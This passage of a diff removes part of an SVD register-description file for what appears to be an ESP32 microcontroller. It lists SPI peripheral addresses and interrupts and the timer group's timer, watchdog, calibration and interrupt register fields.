-      <name>SPI1</name>
-      <description>SPI (Serial Peripheral Interface) Controller</description>
-      <baseAddress>0x3FF42000</baseAddress>
-      <interrupt>
-        <name>SPI1</name>
-        <value>29</value>
-      </interrupt>
-      <interrupt>
-        <name>SPI1_DMA</name>
-        <value>52</value>
-      </interrupt>
-    </peripheral>
-    <peripheral derivedFrom="SPI0">
-      <name>SPI2</name>
-      <description>SPI (Serial Peripheral Interface) Controller</description>
-      <baseAddress>0x3FF64000</baseAddress>
-      <interrupt>
-        <name>SPI2</name>
-        <value>30</value>
-      </interrupt>
-      <interrupt>
-        <name>SPI2_DMA</name>
-        <value>53</value>
-      </interrupt>
-    </peripheral>
-    <peripheral derivedFrom="SPI0">
-      <name>SPI3</name>
-      <description>SPI (Serial Peripheral Interface) Controller</description>
-      <baseAddress>0x3FF65000</baseAddress>
-      <interrupt>
-        <name>SPI3</name>
-        <value>31</value>
-      </interrupt>
-      <interrupt>
-        <name>SPI3_DMA</name>
-        <value>54</value>
-      </interrupt>
-    </peripheral>
-    <peripheral>
-      <name>TIMG0</name>
-      <description>Timer Group</description>
-      <groupName>TIMG</groupName>
-      <baseAddress>0x3FF5F000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0xB0</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>TG0_T0_LEVEL</name>
-        <value>14</value>
-      </interrupt>
-      <interrupt>
-        <name>TG0_T1_LEVEL</name>
-        <value>15</value>
-      </interrupt>
-      <interrupt>
-        <name>TG0_WDT_LEVEL</name>
-        <value>16</value>
-      </interrupt>
-      <interrupt>
-        <name>TG0_LACT_LEVEL</name>
-        <value>17</value>
-      </interrupt>
-      <interrupt>
-        <name>TG0_T0_EDGE</name>
-        <value>58</value>
-      </interrupt>
-      <interrupt>
-        <name>TG0_T1_EDGE</name>
-        <value>59</value>
-      </interrupt>
-      <interrupt>
-        <name>TG0_WDT_EDGE</name>
-        <value>60</value>
-      </interrupt>
-      <interrupt>
-        <name>TG0_LACT_EDGE</name>
-        <value>61</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>T0CONFIG</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x60002000</resetValue>
-          <fields>
-            <field>
-              <name>ALARM_EN</name>
-              <description>When set  alarm is enabled</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LEVEL_INT_EN</name>
-              <description>When set  level type interrupt will be generated during alarm</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EDGE_INT_EN</name>
-              <description>When set  edge type interrupt will be generated during alarm</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DIVIDER</name>
-              <description>Timer 0 clock (T0_clk) prescale value.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AUTORELOAD</name>
-              <description>When set  timer 0 auto-reload at alarming is enabled</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INCREASE</name>
-              <description>When set  timer 0 time-base counter increment. When cleared timer 0 time-base counter decrement.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EN</name>
-              <description>When set  timer 0 time-base counter is enabled</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T0LO</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LO</name>
-              <description>Register to store timer 0 time-base counter current value lower 32 bits.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T0HI</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HI</name>
-              <description>Register to store timer 0 time-base counter current value higher 32 bits.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T0UPDATE</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UPDATE</name>
-              <description>Write any value will trigger a timer 0 time-base counter value update (timer 0 current value will be stored in registers above)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T0ALARMLO</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ALARM_LO</name>
-              <description>Timer 0 time-base counter value lower 32 bits that will trigger the alarm</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T0ALARMHI</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ALARM_HI</name>
-              <description>Timer 0 time-base counter value higher 32 bits that will trigger the alarm</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T0LOADLO</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LOAD_LO</name>
-              <description>Lower 32 bits of the value that will load into timer 0 time-base counter</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T0LOADHI</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LOAD_HI</name>
-              <description>higher 32 bits of the value that will load into timer 0 time-base counter</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T0LOAD</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LOAD</name>
-              <description>Write any value will trigger timer 0 time-base counter reload</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T1CONFIG</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x60002000</resetValue>
-          <fields>
-            <field>
-              <name>ALARM_EN</name>
-              <description>When set  alarm is enabled</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LEVEL_INT_EN</name>
-              <description>When set  level type interrupt will be generated during alarm</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EDGE_INT_EN</name>
-              <description>When set  edge type interrupt will be generated during alarm</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DIVIDER</name>
-              <description>Timer 1 clock (T1_clk) prescale value.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AUTORELOAD</name>
-              <description>When set  timer 1 auto-reload at alarming is enabled</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INCREASE</name>
-              <description>When set  timer 1 time-base counter increment. When cleared timer 1 time-base counter decrement.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EN</name>
-              <description>When set  timer 1 time-base counter is enabled</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T1LO</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LO</name>
-              <description>Register to store timer 1 time-base counter current value lower 32 bits.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T1HI</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HI</name>
-              <description>Register to store timer 1 time-base counter current value higher 32 bits.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T1UPDATE</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UPDATE</name>
-              <description>Write any value will trigger a timer 1 time-base counter value update (timer 1 current value will be stored in registers above)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T1ALARMLO</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ALARM_LO</name>
-              <description>Timer 1 time-base counter value lower 32 bits that will trigger the alarm</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T1ALARMHI</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ALARM_HI</name>
-              <description>Timer 1 time-base counter value higher 32 bits that will trigger the alarm</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T1LOADLO</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LOAD_LO</name>
-              <description>Lower 32 bits of the value that will load into timer 1 time-base counter</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T1LOADHI</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LOAD_HI</name>
-              <description>higher 32 bits of the value that will load into timer 1 time-base counter</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>T1LOAD</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LOAD</name>
-              <description>Write any value will trigger timer 1 time-base counter reload</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG0</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0004C000</resetValue>
-          <fields>
-            <field>
-              <name>WDT_FLASHBOOT_MOD_EN</name>
-              <description>When set  flash boot protection is enabled</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_SYS_RESET_LENGTH</name>
-              <description>length of system reset selection. 0: 100ns  1: 200ns  2: 300ns  3: 400ns  4: 500ns  5: 800ns  6: 1.6us  7: 3.2us</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues>
-                <name>WDT_SYS_RESET_LENGTH</name>
-                <usage>read-write</usage>
-                <enumeratedValue>
-                  <name>NS100</name>
-                  <description>100ns</description>
-                  <value>0</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS200</name>
-                  <description>200ns</description>
-                  <value>1</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS300</name>
-                  <description>300ns</description>
-                  <value>2</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS400</name>
-                  <description>400ns</description>
-                  <value>3</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS500</name>
-                  <description>500ns</description>
-                  <value>4</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS800</name>
-                  <description>800ns</description>
-                  <value>5</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS1600</name>
-                  <description>1.6us</description>
-                  <value>6</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS3200</name>
-                  <description>3.2us</description>
-                  <value>7</value>
-                </enumeratedValue>
-              </enumeratedValues>
-            </field>
-            <field>
-              <name>WDT_CPU_RESET_LENGTH</name>
-              <description>length of CPU reset selection. 0: 100ns  1: 200ns  2: 300ns 3: 400ns  4: 500ns  5: 800ns  6: 1.6us  7: 3.2us</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues>
-                <name>WDT_CPU_RESET_LENGTH</name>
-                <usage>read-write</usage>
-                <enumeratedValue>
-                  <name>NS100</name>
-                  <description>100ns</description>
-                  <value>0</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS200</name>
-                  <description>200ns</description>
-                  <value>1</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS300</name>
-                  <description>300ns</description>
-                  <value>2</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS400</name>
-                  <description>400ns</description>
-                  <value>3</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS500</name>
-                  <description>500ns</description>
-                  <value>4</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS800</name>
-                  <description>800ns</description>
-                  <value>5</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS1600</name>
-                  <description>1.6us</description>
-                  <value>6</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>NS3200</name>
-                  <description>3.2us</description>
-                  <value>7</value>
-                </enumeratedValue>
-              </enumeratedValues>
-            </field>
-            <field>
-              <name>WDT_LEVEL_INT_EN</name>
-              <description>When set  level type interrupt generation is enabled</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_EDGE_INT_EN</name>
-              <description>When set  edge type interrupt generation is enabled</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_STG3</name>
-              <description>Stage 3 configuration. 0: off  1: interrupt  2: reset CPU  3: reset system</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues>
-                <name>WDT_STG3</name>
-                <usage>read-write</usage>
-                <enumeratedValue>
-                  <name>OFF</name>
-                  <description>Off</description>
-                  <value>0</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>INTERRUPT</name>
-                  <description>Interrupt</description>
-                  <value>1</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>RESET</name>
-                  <description>Reset CPU</description>
-                  <value>2</value>
-                </enumeratedValue>
-                <enumeratedValue>
-                  <name>RESET_SYS</name>
-                  <description>Reset system</description>
-                  <value>3</value>
-                </enumeratedValue>
-              </enumeratedValues>
-            </field>
-            <field>
-              <name>WDT_STG2</name>
-              <description>Stage 2 configuration. 0: off  1: interrupt  2: reset CPU  3: reset system</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues derivedFrom="WDT_STG3"/>
-            </field>
-            <field>
-              <name>WDT_STG1</name>
-              <description>Stage 1 configuration. 0: off  1: interrupt  2: reset CPU  3: reset system</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues derivedFrom="WDT_STG3"/>
-            </field>
-            <field>
-              <name>WDT_STG0</name>
-              <description>Stage 0 configuration. 0: off  1: interrupt  2: reset CPU  3: reset system</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-              <enumeratedValues derivedFrom="WDT_STG3"/>
-            </field>
-            <field>
-              <name>WDT_EN</name>
-              <description>When set  SWDT is enabled</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG1</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00010000</resetValue>
-          <fields>
-            <field>
-              <name>WDT_CLK_PRESCALE</name>
-              <description>SWDT clock prescale value. Period = 12.5ns * value stored in this register</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG2</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x018CBA80</resetValue>
-          <fields>
-            <field>
-              <name>WDT_STG0_HOLD</name>
-              <description>Stage 0 timeout value in SWDT clock cycles</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG3</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x07FFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>WDT_STG1_HOLD</name>
-              <description>Stage 1 timeout value in SWDT clock cycles</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG4</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000FFFFF</resetValue>
-          <fields>
-            <field>
-              <name>WDT_STG2_HOLD</name>
-              <description>Stage 2 timeout value in SWDT clock cycles</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTCONFIG5</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000FFFFF</resetValue>
-          <fields>
-            <field>
-              <name>WDT_STG3_HOLD</name>
-              <description>Stage 3 timeout value in SWDT clock cycles</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTFEED</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>WDT_FEED</name>
-              <description>Write any value will feed SWDT</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WDTWPROTECT</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x50D83AA1</resetValue>
-          <fields>
-            <field>
-              <name>WDT_WKEY</name>
-              <description>If change its value from default  then write protection is on.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RTCCALICFG</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00013000</resetValue>
-          <fields>
-            <field>
-              <name>RTC_CALI_START_CYCLING</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RTC_CALI_CLK_SEL</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RTC_CALI_RDY</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RTC_CALI_MAX</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>15</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RTC_CALI_START</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RTCCALICFG1</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RTC_CALI_VALUE</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>25</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LACTCONFIG</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x60002300</resetValue>
-          <fields>
-            <field>
-              <name>LACT_RTC_ONLY</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LACT_CPST_EN</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LACT_LAC_EN</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LACT_ALARM_EN</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LACT_LEVEL_INT_EN</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LACT_EDGE_INT_EN</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LACT_DIVIDER</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LACT_AUTORELOAD</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LACT_INCREASE</name>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LACT_EN</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LACTRTC</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LACT_RTC_STEP_LEN</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>26</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LACTLO</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LACT_LO</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LACTHI</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LACT_HI</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LACTUPDATE</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LACT_UPDATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LACTALARMLO</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LACT_ALARM_LO</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LACTALARMHI</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LACT_ALARM_HI</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LACTLOADLO</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LACT_LOAD_LO</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LACTLOADHI</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LACT_LOAD_HI</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LACTLOAD</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LACT_LOAD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA_TIMERS</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>T0_INT_ENA</name>
-              <description>interrupt when timer0 alarm</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>T1_INT_ENA</name>
-              <description>interrupt when timer1 alarm</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_INT_ENA</name>
-              <description>Interrupt when an interrupt stage timeout</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LACT_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW_TIMERS</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>T0_INT_RAW</name>
-              <description>interrupt when timer0 alarm</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>T1_INT_RAW</name>
-              <description>interrupt when timer1 alarm</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>WDT_INT_RAW</name>
-              <description>Interrupt when an interrupt stage timeout</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>LACT_INT_RAW</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ST_TIMERS</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>T0_INT_ST</name>
-              <description>interrupt when timer0 alarm</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>T1_INT_ST</name>
-              <description>interrupt when timer1 alarm</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>WDT_INT_ST</name>
-              <description>Interrupt when an interrupt stage timeout</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>LACT_INT_ST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR_TIMERS</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>T0_INT_CLR</name>
-              <description>interrupt when timer0 alarm</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>T1_INT_CLR</name>
-              <description>interrupt when timer1 alarm</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>WDT_INT_CLR</name>
-              <description>Interrupt when an interrupt stage timeout</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>LACT_INT_CLR</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>NTIMERS_DATE</name>
-          <addressOffset>0xF8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01604290</resetValue>
-          <fields>
-            <field>
-              <name>NTIMERS_DATE</name>
-              <description>Version of this regfile</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMGCLK</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CLK_EN</name>
-              <description>Force clock enable for this regfile</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
